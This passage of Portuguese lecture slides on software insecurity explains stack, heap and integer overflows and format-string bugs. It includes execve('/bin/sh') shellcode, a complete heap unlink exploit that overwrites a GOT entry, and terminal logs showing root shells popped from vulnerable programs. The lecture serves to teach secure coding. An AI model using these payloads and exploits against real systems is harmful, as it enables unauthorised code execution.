    Stack Overflow Terminador não calculado (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Operações de buffer são feitas sem levar em consideração o byte NULL de terminação da string.  Dependendo da função de tratamento o terminador pode ou não ser colocado.  Se não for colocado, a string pode ser tratada como se fosse maior do que realmente é.  Se for colocado, o byte seguinte à string será sobrescrito com 0x00.
  • 72.
    Stack Overflow No terminator (In)Segurança de Software, Quebrando Códigos - Rafael Rosa #define MAXLEN 128 int func1(char *str1, char *str2){ char buffer[MAXLEN]; memset(buffer, 0xff, MAXLEN); strncpy(buffer, str1, MAXLEN-1); strncat(buffer, str2, MAXLEN - strlen(buffer)-1); printf("%sn", buffer); } /*função de auxílio, já que o frame da main é protegido*/ int func(char *str1, char *str2){ int x=0; func1(str1, str2); }
  • 73.
    Stack Overflow No terminator (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int main(int argc, char *argv[]){ if(argc != 3){ fprintf(stderr, "uso %s <arg1> <arg2>n", argv[0]); return 1; } func(argv[1], argv[2]); }
  • 74.
    Stack Overflow A técnica (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Quando MAXLEN-1 bytes são copiados em strncpy, o terminador não é escrito.  strlen(buffer) será maior que MAXLEN-1, fazendo a operação resultar em um valor negativo, que quando interpretado como unsigned representa um valor muito grande. Com isso acontecerá a concatenação.  O final do buffer é o primeiro byte 0x00 a partir do início do mesmo.
  • 75.
    Stack Overflow A técnica (In)Segurança de Software, Quebrando Códigos - Rafael Rosa Pilha do programa vulnerável payload injetado buf shellcode ebp ebp retaddr retaddr str1 str1 str2 str2 x ebp retaddr ret... str1 str2
  • 76.
    Stack Overflow O ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Os 128 bytes do buffer serão preenchidos com o payload.  Mais 80 bytes serão passados com o endereço de retorno. [rafael@centos stack]$ ../get_esp `cat badfile_nonull.bin ` ESP: 0xbffff444 [rafael@centos stack]$
  • 77.
    Stack Overflow O ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Deve-se considerar o tamanho do buffer: ret = 0xbffff444 - 128
  • 78.
    Stack Overflow O ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos stack]$ ./nonull `cat badfile_nonull.bin ` ������������������������������������������� ������������������������������������������� ������������������1�Ph//shh/bin��PS��� ̀�H�����`������������������������������������ ������������������������������������������� ����� sh-3.2$ exit exit [rafael@centos stack]$
  • 79.
    Stack Overflow Off by one (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int func1(char *str){ char buf[200]; int main(int argc, char *argv[]){ strcpy(buf, "argv[1] = "); if(argc != 2){ strncat(buf, str, sizeof(buf) - strlen(buf) ); fprintf(stderr, "uso %s <arg>n", argv[0]); printf("%sn", buf); return 1; } } /*função de auxílio já que o frame da main é func(argv[1]); protegido*/ } int func(char *str){ func1(str); }
  • 80.
    Stack Overflow A técnica (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Consiste na falsificação do frame de pilha da função chamadora. Pilha do programa vulnerável payload injetado shellcode Quando a função buf chamadora retornar, o valor ret... apontado pelo ebp ebp ebp injetado + 4 retaddr tomará o controle retaddr do eip. str str ebp ebp retaddr retaddr
  • 81.
    Stack Overflow A técnica (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Como sobrescrevemos o byte menos significativo do ebp, o deslocamento máximo do ebp da função chamadora é 255 bytes.  Quanto menor o valor do LSB do ebp salvo, menor será o deslocamento, e quanto menor o deslocamento, pode-se garantir que o novo ebp apontará para o fim do buffer.  Preenchendo o início do buffer com o endereço do payload o fluxo será redirecionado para o código injetado.
  • 82.
    Stack Overflow O ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Dos 200 bytes do buffer sobram 190 para a entrada do programa [rafael@centos stack]$ ../get_esp `cat badfile_off_by_one.bin ` ESP: 0xbffff454 [rafael@centos stack]$  O LSB deve ser menor. [rafael@centos stack]$ export PADDING=`perl -e 'print “A”x80'` [rafael@centos stack]$ ../get_esp `cat badfile_off_by_one.bin ` ESP: 0xbffff3f4 [rafael@centos stack]$
  • 83.
    Stack Overflow O ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Deve-se considerar o tamanho do buffer: ret = 0xbffff3f4 - 200
  • 84.
    Stack Overflow O ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos stack]$ ./off_by_one `cat badfile_off_by_one.bin ` Argv[1] = ������������������������������������� ������������������������������������������� ���������������������1�Ph//shh/bin��PS��� ̀,���,���,���,���,���,���,���,���,���,���,���,� ��,���,���,���, sh-3.2$ exit exit [rafael@centos stack]$
  • 85.
    Agenda (In)Segurança de Software,Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 86.
    Heap Overflow Heap (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Área da memória reservada para alocação dinâmica de blocos de memória.  Cada bloco alocado possui um cabeçalho de controle.  Gerenciada e organizada por algorítimos complexos.
  • 87.
    Heap Overflow Cabeçalho da heap (In)Segurança de Software, Quebrando Códigos - Rafael Rosa chunk A prev_size prev_size prev_size size 00010000b 00010000b fd bk dados dados chunk B prev_size size 00010001b 00010001b fd próximo livre bk dados anterior livre chunk C prev_size 00010000b size tam & PREV_INUSE tam fd próximo livre próximo livre bk anterior livre anterior livre
  • 88.
    Heap Overflow Campos do cabeçalho (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  prev_size: Caso o chunk anterior (fisicamente) esteja livre, contém tamanho deste chunk, caso contrário, é usado como espaço para dados do chunk anterior.  size: tamanho em bytes (múltiplos de 8) do chunk atual. Dois bits menos significativos PREV_INUSE e IS_MMAPPED.
  • 89.
    Heap Overflow Campos do cabeçalho (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  fd: próximo chunk na bin. Caso chunk esteja alocado é usado como área de dados.  bk: chunk anterior na bin. Caso chunk esteja alocado é usado como área de dados.
  • 90.
    Heap Overflow Organização da heap (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Chunks livres ficam em uma lista duplamente encadeada chamada bin.  Essa lista é controlada pelos campos fd e bk do cabeçalho.  Há uma bin para cada tamanho de chunk (8, 64, 512, etc).
  • 91.
    Heap Overflow Organização da heap (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Quando free() é chamada em um endereço de memória (área de dados de um chunk), os chunks fisicamente adjacentes são checados a fim de fazer uma fusão gerando um chunk maior.  Assim sendo, o chunk livre tem que ser retirado da bin onde se encontra, e só então a fusão pode acontecer.
  • 92.
    Heap Overflow Organização da heap (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  unlink() é chamada no chunk. #define unlink( P,BK,FD) { BK = P->bk; FD = P->fd; FD->bk = BK; BK->fd = FD; }
  • 93.
    Heap Overflow Organização da heap (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Controlando fd e bk do chunk P é possível sobrescrever qualquer endereço de memória.
  • 94.
    Heap Overflow Alterando terceiro chunk (In)Segurança de Software, Quebrando Códigos - Rafael Rosa char payload[] = /*jmp*/ "xebx0a” “AAAAAAAAAA” /*shellcode*/ "x31xc0x50x68x2fx2fx73x68x68x2fx62x69" "x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcd" "x80"; int main (void){ int *aux; void (*foo)() = NULL; char *ptr1, *ptr2; ptr1 = malloc (128); ptr2 = malloc (16);
  • 95.
    Heap Overflow Alterando terceiro chunk (In)Segurança de Software, Quebrando Códigos - Rafael Rosa aux = ptr2; *aux = ((char*)&foo) - 12; /* FD 2*/ aux++; *aux = payload; /* BK 2*/ aux = ptr2+16; *aux = 0xdefaced; /* prev_size 3*/ aux++; *aux = 0xdefaced & ~0x1; /*size 3*/ free (ptr1); if( foo ) foo(); }
  • 96.
    Heap Overflow Alterando terceiro chunk (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  fd do segundo chunk recebe o endereço a ser sobrescrito menos 12 (FD->bk = FD+12).  bk recebe valor (comprimento de um ponteiro) a ser colocado no endereço alvo.  O campo size do terceiro chunk recebe um valor qualquer em que o bit PREV_INUSE esteja desativado.
  • 97.
    Heap Overflow Alterando terceiro chunk (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Quando free() é chamada para desalocar o primeiro chunk, o campo size do terceiro chunk é testado, e como o bit PREV_INUSE está desativado unlink() será chamada no segundo chunk de modo que se possa fazer a junção do primeiro e do segundo.  foo então recebe o endereço de payload. payload+8 (BK->fd = BK+8) recebe endereço de foo menos 12.
  • 98.
    Heap Overflow Alterando terceiro chunk (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Como são sobrescritos 4 bytes a partir de payload+8 haverão instruções ilegais no meio do shellcode. payload+8 jmp 0xa dummy shellcode 0xa [rafael@centos heap]$ ./heap_overflow_ex1 sh-3.2$
  • 99.
    Heap Overflow Forjando terceiro chunk (In)Segurança de Software, Quebrando Códigos - Rafael Rosa char payload[] = /*jmp*/ "xebx0a” “AAAAAAAAAA” /*shellcode*/ "x31xc0x50x68x2fx2fx73x68x68x2fx62x69" "x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcd" "x80"; int main(){ int *aux; void (*foo)() = NULL; char *ptr1, *ptr2; ptr1 = malloc (128); ptr2 = malloc (16);
  • 100.
    Heap Overflow Forjando terceiro chunk (In)Segurança de Software, Quebrando Códigos - Rafael Rosa aux = ptr2-12; *aux = 0xdefaced & ~0x1; /*size fake 3*/ aux++; *aux = 0xdefaced; /*prev_size 2*/ aux++; *aux = -8 | 0x1; /* size 2*/ aux++; *aux = ((char*)&foo) - 12; /* FD 2*/ aux++; *aux = payload; /* BK 2*/ free (ptr1); if( foo ) foo(); }
  • 101.
    Heap Overflow Forjando terceiro chunk (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  O terceiro chunk localiza-se na posição (ptr2-8) + *(ptr2-4).  free() entende que o campo size do terceiro chunk localiza-se em (ptr2-12).  Na representação de -8 o bit PREV_INUSE está desativado então unlink() é chamada no chunk 2.
  • 102.
    Heap Overflow A técnica (In)Segurança de Software, Quebrando Códigos - Rafael Rosa chunk A prev_size prev_size 00010000b 00010000b 0xdefaced dados 0xdefaced chunk B shellcode 00010001b 00010001b (GOT entry) - 12 dados shellcode addr chunk C 0xdefaced tam & PREV_INUSE tam & ~PREV_INUSE próximo livre próximo livre anterior livre anterior livre
  • 103.
    Heap Overflow A técnica (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  O atacante controla o chunk A. Os primeiros 8 bytes correspondem aos campos fd e bk do chunk e serão sobrescritos ao se inserir o chunk na bin.  Shellcode é injetado.  Controlando bk e fd do segundo chunk pode-se sobrescrever qualquer endereço. Basta desabilitar o flag PREV_INUSE do terceiro chunk.
  • 104.
    Heap Overflow A técnica (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  É possível colocar o endereço do payload em qualquer lugar da memória.  Mas como fazer o payload ganhar o controle do eip? R: GOT
  • 105.
    Heap Overflow A técnica (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  É através da Global Offset Table que funções de bibliotecas compartilhadas são carregadas dinamicamente.  Chamadas de função fazem referência à GOT. Na primeira vez que uma função é chamada um endereço é alocado para a mesma. Esse endereço é colocado na GOT.  Chamadas subsequentes redirecionam o eip para o endereço encontrado na tabela.
  • 106.
    Heap Overflow A técnica (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Sobrescrevendo o endereço 0x08049608 com o endereço de bar(), toda vez que free() for chamada o fluxo será direcionado para o código de bar(). [rafael@centos heap]$ objdump -R heap_overflow_ex2 heap_overflow_ex2: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 080495f0 R_386_GLOB_DAT __gmon_start__ 08049600 R_386_JUMP_SLOT __gmon_start__ 08049604 R_386_JUMP_SLOT __libc_start_main 08049608 R_386_JUMP_SLOT free 0804960c R_386_JUMP_SLOT malloc [rafael@centos heap]$
  • 107.
    Heap Overflow Programa vulnerável (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int main( int argc, char * argv[] ){ char *first, *second; if(argc != 2) return; first = malloc(666); second = malloc(12); strcpy( first, argv[1] ); printf("%sn", first); free( first ); free( second ); }
  • 108.
    Heap Overflow O ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa #define FUNCTION_POINTER ( 0x08049628 ) #define CODE_ADDRESS ( 0x804a008 + 2*4 ) char payload[] = /*jmp*/ "xebx0a” “AAAAAAAAAA” /*shellcode*/ "x31xc0x50x68x2fx2fx73x68x68x2fx62x69" "x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcd" "x80"; int main(){ char *p, *argv[] = { "heap_overflow_ex3", buffer, NULL}; char buffer[ 680 + 1 ]; p = buffer; *((int*)p) = 0xdefaced; /*FD*/ p += 4; *((int*)p) = 0xdefaced; /*BK*/ p += 4;
  • 109.
    Heap Overflow O ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa memcpy( p, payload, strlen(payload) ); p += strlen( payload ); memset( p, 'A', (680 - 4*5) - (2*4 + strlen(payload)) ); p += ( 680 - 4*5 ) - ( 2*4 + strlen(payload) ); *((int*)p) = 0xdefaced & ~0x1; /*size 3*/ p += 4; *((int*)p) = 0xdefaced; /*prev_size 2*/ p += 4; *((int*)p) = -8 | 0x1; /*size 2*/ p += 4; *((int*)p) = FUNCTION_POINTER - 12; /*FD*/ p += 4; *((int*)p) = CODE_ADDRESS; /*BK*/ p += 4; *p = '0'; execve(argv[0], argv, NULL); }
  • 110.
    Heap Overflow O ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa chunk A prev_size prev_size 00010000 00010000 0xdefaced 0xdefaced dados shellcode Fake C 0xdefaced & ~0x1 chunk B 0xdefaced 00010001 0xfffffff8 (GOT entry) - 12 dados shellcode addr ... chunk C tam & PREV_INUSE tam & PREV_INUSE
  • 111.
    Heap Overflow Execução do ataque (In)Segurança de Software, Quebrando Códigos - Rafael Rosa [rafael@centos heap]$ ./exploit_heap_overflow_ex3 ë¬ï AAAAAAAAAA1ÀPh//shh/binãPSá1Ò° ÍAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAùÿÿžAAì¬ï sh-3.2$
  • 112.
    Agenda (In)Segurança de Software,Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 113.
    Integer Overflow Representação de inteiro (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Uma variável tem um valor limite ditado pelo tamanho da mesma na memória. Quando esse valor limite é ultrapassado a variável é zerada, pois foi estourado seu limite físico. 11111111b (255) + 00000001b (1) ------------------ 100000000b
  • 114.
    Integer Overflow Unsigned overflow (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int main(){ int i; unsigned char cont; cont = 0; for(i = 0; i < 300; i++) printf("%dn", cont++); } ... 253 254 255 0 1 2 ...
  • 115.
    Integer Overflow Representação de inteiro (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  A representação de números negativos é feita através do complemento de 2. -4 = (~4)+1 <=> -4 = (~00000100b) + 1b <=> -4 = (11111011b) + 1b <=> -4 = 11111100b
  • 116.
    Integer Overflow Representação de inteiro (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Uma variável deve especificar se representa valores signed (padrão) ou unsigned.  N bits representando valores unsigned podem assumir os valores [0,2ⁿ - 1].  Representando valores signed o msb é usado para representação de números negativos, logo o intervalo é [-2ⁿ˗¹, 2ⁿ˗¹ - 1].
  • 117.
    Integer Overflow Signed overflow (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int main(){ int i; char cont; cont = 0; for(i = 0; i < 300; i++) printf("%dn", cont++); } ... 125 126 127 -128 -127 -126 ...
  • 118.
    Integer Overflow Conversões de tipo (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Ao se converter um signed de tipo menor para um unsigned de tipo maior ocorre sign extension e um valor negativo passa a ser representado como um valor muito grande.  Ao se converter um signed de tipo menor para um signed de tipo maior ocorre sign extension e os valores são preservados.
  • 119.
    Integer Overflow Conversões de tipo (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Ao se converter um unsigned de tipo menor para um unsigned de tipo maior ocorre zero extension e o valor é preservado.  Ao se converter um tipo maior para um tipo menor ocorre truncamento de bytes e os valores podem ser alterados.  Ao se converter de signed para unsigned de mesmo tipo, a representação de bits não se altera mas o valor é interpretado de maneira diferente.
  • 120.
    Integer Overflow Truncamento (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int main(void){ int i; short s; char c; c = s = i = 0x41424344; printf("i = 0x%x (%d)n", i, i); printf("s = 0x%x (%d)n", s, s); printf("c = 0x%x (%d)n", c, c); }
  • 121.
    Integer Overflow Truncamento (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Ocorre quando um valor é atribuído a uma variável que não tem capacidade para representá-lo completamente. Então os bits mais significativos são descartados. [rafael@centos integer]$ ./integer_overflow_ex3 i = 0x41424344 (1094861636) s = 0x4344 (17220) c = 0x44 (68) [rafael@centos integer]$
  • 122.
    Integer Overflow Sign extension (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int main(void){ int i; char c; i = c = (char)0xf0; printf("i = 0x%x (%d)n", i, i); printf("c = 0x%x (%d)n", c, c); i = c = (char)0x70; printf("i = 0x%x (%d)n", i, i); printf("c = 0x%x (%d)n", c, c); }
  • 123.
    Integer Overflow Sign extension (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Ocorre quando um valor signed é convertido para um tipo maior. O valor é copiado, e o bit mais significativo é estendido para os bits não usados. [rafael@centos integer]$ ./integer_overflow_ex4 i = 0xfffffff0 (-16) c = 0xfffffff0 (-16) i = 0x70 (112) c = 0x70 (112) [rafael@centos integer]$
  • 124.
    Integer Overflow Zero extension (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int main(void){ int i; unsigned char c; i = c = (unsigned char)0xf0; printf("i = 0x%x (%d)n", i, i); printf("c = 0x%x (%d)n", c, c); i = c = (unsigned char)0x70; printf("i = 0x%x (%d)n", i, i); printf("c = 0x%x (%d)n", c, c); }
  • 125.
    Integer Overflow Zero extension (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Ocorre quando um valor unsigned é convertido para um tipo maior. O valor é copiado, e ocorre um extensão de zeros para os bits não usados. [rafael@centos integer]$. ./integer_overflow_ex5 i = 0xf0 (240) c = 0xf0 (240) i = 0x70 (112) c = 0x70 (112) [rafael@centos integer]$
  • 126.
    Integer Overflow Promoção de inteiros (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int main(void){ unsigned char x = 10, sub; if( (x-20) <= -1 ) printf("x (%d) é menor que 20n", x); else printf("x (%d) é maior que 20n", x); sub = x-20; if( sub <= -1 ) printf("x (%d) é menor que 20n", x); else printf("x (%d) é maior que 20n", x); }
  • 127.
    Integer Overflow Promoção de inteiros (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Quando uma operação ocorre sobre uma variável, ela pode ser promovida para atender à expectativa do operador. Geralmente tudo é promovido para o tipo int.  Caso uma operação entre duas variáveis seja realizada, e uma delas é de tipo maior que int, a outra é promovida para esse tipo.  Se o operando unsigned for de tamanho maior ou igual ao do signed, promove-se o operando signed para o tipo do operando unsigned.
  • 128.
    Integer Overflow Promoção de inteiros (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Se a representação for a mesma (signed ou unsigned), o operando de tipo menor é promovido para o de tipo maior.  Se o operando signed tiver tamanho maior que o operando unsigned e puderem ser preservados os valores, promove-se o operando unsigned para o tipo do operando signed.
  • 129.
    Integer Overflow Promoção de inteiros (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Se o operador signed tiver tamanho maior que o do operando unsigned, e não puderem ser preservados os valores, promovem-se ambos para unsigned com tipo do operando signed. [rafael@centos integer]$ ./integer_overflow_ex6 x (10) é menor que 20 x (10) é maior que 20 [rafael@centos integer]$
  • 130.
    Integer Overflow Programas vulneráveis (In)Segurança de Software, Quebrando Códigos - Rafael Rosa #define MAXLEN 8 int main(){ int len, n; char buffer[MAXLEN]; scanf("%dn", &len); if(len > MAXLEN-1){ fprintf(stderr, "tamanho requisitado maior do que o permitidon"); return 1; } if( (n = fread(buffer, 1, len, stdin)) < 0 ) return 1; buffer[n] = '0'; printf("buffer %s", buffer); printf("n"); }
  • 131.
    Integer Overflow Programas vulneráveis (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Como o programa usa fread() para ler da entrada padrão, devemos terminar a entrada com um EOF (ctrl-D).  Na checagem de tamanho, len é um número negativo muito pequeno. Na passagem para fread() é convertido para unsigned, sendo interpretado como um valor muito grande. [rafael@centos integer]$ ./integer_overflow_ex7 -1 AAAABBBBCCCCDDDDEEEEFFFFbuffer: AAAABBBB Segmentation fault [rafael@centos integer]$
  • 132.
    Integer Overflow Programas vulneráveis (In)Segurança de Software, Quebrando Códigos - Rafael Rosa #define MAXLEN 200 int main(int argc, char *argv[]){ unsigned char len; char buffer[MAXLEN]; if(argc != 2) return 1; len = strlen(argv[1]); if(len > MAXLEN-1){ fprintf(stderr, "argumento muito longon"); return 1; } strcpy(buffer, argv[1]); printf("%sn", buffer); }
  • 133.
    Integer Overflow Programas vulneráveis (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  O comando perl passa 256 caracteres “A” como entrada. Esse valor não pode ser representado por len, com isso ocorre o truncamento e len recebe zero de strlen(argv[1]). [rafael@centos integer]$ ./integer_overflow_ex8 `perl -e 'print "A"x256'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault [rafael@centos integer]$
  • 134.
    Integer Overflow Antisniff v1.0 (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  A seguinte função faz o parsing de um domínio de dns e copia os dados para nameStr.  Cada palavra do domínio é precedida por 1 byte que indica o tamanho da palavra.  O pacote termina com um byte 0x00, indicando o fim do pacote.
  • 135.
    Integer Overflow Código do parsing (In)Segurança de Software, Quebrando Códigos - Rafael Rosa char *indx; int count; char nameStr[MAX_LEN]; //256 ... memset(nameStr, '0', sizeof(nameStr)); ... indx = (char *)(pkt + rr_offset); count = (char)*indx; while (count){ (char *)indx++; strncat(nameStr, (char *)indx, count); indx += count; count = (char)*indx; strncat(nameStr, ".", sizeof(nameStr) - strlen(nameStr)); } nameStr[strlen(nameStr)-1] = '0';
  • 136.
    Integer Overflow Buffer não gerenciado (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Não é feita nenhuma checagem de tamanho do buffer nameStr, o que possibilita um buffer overflow.  Enquanto count != 0 dados serão escritos no buffer.
  • 137.
    Integer Overflow Vamos corrigir isso rápido! (In)Segurança de Software, Quebrando Códigos - Rafael Rosa char *indx; int count; char nameStr[MAX_LEN]; //256 ... memset(nameStr, '0', sizeof(nameStr)); ... indx = (char *)(pkt + rr_offset); count = (char)*indx; while (count){ if (strlen(nameStr) + count < ( MAX_LEN - 1) ){ (char *)indx++; strncat(nameStr, (char *)indx, count); indx += count; count = (char)*indx; strncat(nameStr, ".", sizeof(nameStr) strlen(nameStr)); }else count = 0; } nameStr[strlen(nameStr)-1] = '0';
  • 138.
    Integer Overflow Problema com Signed extension (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  count é um signed controlado pelo usuário.  Passando um valor negativo para count esse valor será somado à strlen(nameStr) que é um valor unsigned.  count será promovido para unsigned int e se tornará um valor muito grande, que quando somado à strlen(nameStr) pode gerar um overflow, resultando em um número muito pequeno, passando então pelo teste.
  • 139.
    Integer Overflow Tempo é dinheiro! (In)Segurança de Software, Quebrando Códigos - Rafael Rosa char *indx; int count; char nameStr[MAX_LEN]; //256 ... memset(nameStr, '0', sizeof(nameStr)); ... indx = (char *)(pkt + rr_offset); count = (char)*indx; while (count){ if (strlen(nameStr) + (unsigned int)count < ( MAX_LEN - 1) ){ (char *)indx++; strncat(nameStr, (char *)indx, count); indx += count; count = (char)*indx; strncat(nameStr, ".", sizeof(nameStr) - strlen(nameStr)); }else count = 0; } nameStr[strlen(nameStr)-1] = '0';
  • 140.
    Integer Overflow Cast inútil (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Nada mudou!  Por falta de conhecimento o desenvolvedor achou que quando count fosse negativo algo parecido com isso seria feito: strlen(nameStr) - ((-1)*count)
  • 141.
    Integer Overflow Quanta manutenção! (In)Segurança de Software, Quebrando Códigos - Rafael Rosa unsigned char *indx; unsigned int count; unsigned char nameStr[MAX_LEN]; //256 ... memset(nameStr, '0', sizeof(nameStr)); ... indx = (char *)(pkt + rr_offset); count = (char)*indx; while (count){ if (strlen(nameStr) + count < ( MAX_LEN - 1) ){ indx++; strncat(nameStr, indx, count); indx += count; count = *indx; strncat(nameStr, ".", sizeof(nameStr) - strlen(nameStr)); }else count = 0; } nameStr[strlen(nameStr)-1] = '0';
  • 142.
    Integer Overflow Problemas Corrigidos!? (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Em count = (char)*indx; o byte que especifica o tamanho da palavra é lido como um unsigned char, através do cast, força-se uma conversão para signed char. Em seguida, ao se atribuir o valor à count ele é convertido para unsigned int, ocorre sign extension e o valor pode ser tratado como um valor muito grande.
  • 143.
    Integer Overflow Problemas Corrigidos!? (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Porém dessa vez strlen(nameStr) retorna 0 e o código não entra no if.  Na saída do loop um '0' será colocado em nameStr[-1].  Explorar essa vulnerabilidade é impossível nesse caso, mas em outras aplicações que apresentam a mesma falha pode ser possível tirar vantagem dessa brecha.
  • 144.
    Agenda (In)Segurança de Software,Quebrando Códigos - Rafael Rosa  Falhas de Software  Princípios de Segurança de Software  Introdução à Overflow de Memória  Stack Overflow  Heap Overflow  Integer Overflow  Format String Bug  Técnicas Modernas  WorX  Stack Protector  ASLR
  • 145.
    Format String Bug Format string (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  É uma string que contém o texto que será escrito no buffer de destino.  Pode conter tags de formatação (%d, %n, %p etc) que serão substituídas pelos parâmetros subsequentes corretamente formatados.  O número de argumentos seguindo uma string de formato tem que ser maior ou igual ao número de tags de formatação.
  • 146.
    Format String Bug Funções vulneráveis (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  printf, fprintf, sprintf, snprintf, vprintf, vfprintf, vsprintf, vsnprintf, syslog.
  • 147.
    Format String Bug Funcionamento interno (In)Segurança de Software, Quebrando Códigos - Rafael Rosa int main(){ esp int a = 0; variáveis locais char buffer[] = "strings de formato"; ebp ebp salvo printf("E%nste é o exemplo", &a); ret printf(" %08d de %sn", a, buffer); format string printf("O endereço de buffer é: %08pn", buffer); &a } [rafael@centos format string]$ ./format_string_ex1 Este é o exemplo 00000001 de strings de formato O endereço de buffer é: 0xbffff4ed [rafael@centos format string]$
  • 148.
    Format String Bug Tags de formatação (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  %n coloca o número de caracteres escritos até o momento em um ponteiro para inteiro.  %08d fará com que seja copiado para a saída um decimal preenchido com zeros à esquerda até que se complete o tamanho de 8 caracteres.  %08x lê um inteiro e gera saída em hexadecimal com um tamanho de 8 bytes.
  • 149.
    Format String Bug Lendo da memória (In)Segurança de Software, Quebrando Códigos - Rafael Rosa void func(char *str){ printf(str); } int main(){ char str[] = "%08p%08p%08p%08p%08p%08p%08pn"; func(str); } [rafael@centos format string]$ ./format_string_ex2 (nil)0xbffff5080x804842a0xbffff4e6 (nil)0xbffff6f90xb7ee4dae [rafael@centos format string]$
  • 150.
    Format String Bug Lendo da memória (In)Segurança de Software, Quebrando Códigos - Rafael Rosa  Pode-se ler qualquer endereço a partir do ponteiro para a string de formato. ebp ebp func ret printf string de formato dummy 0x80495d4 ebp func 0xffea0108 ret func 0x80483f6
  • 151.
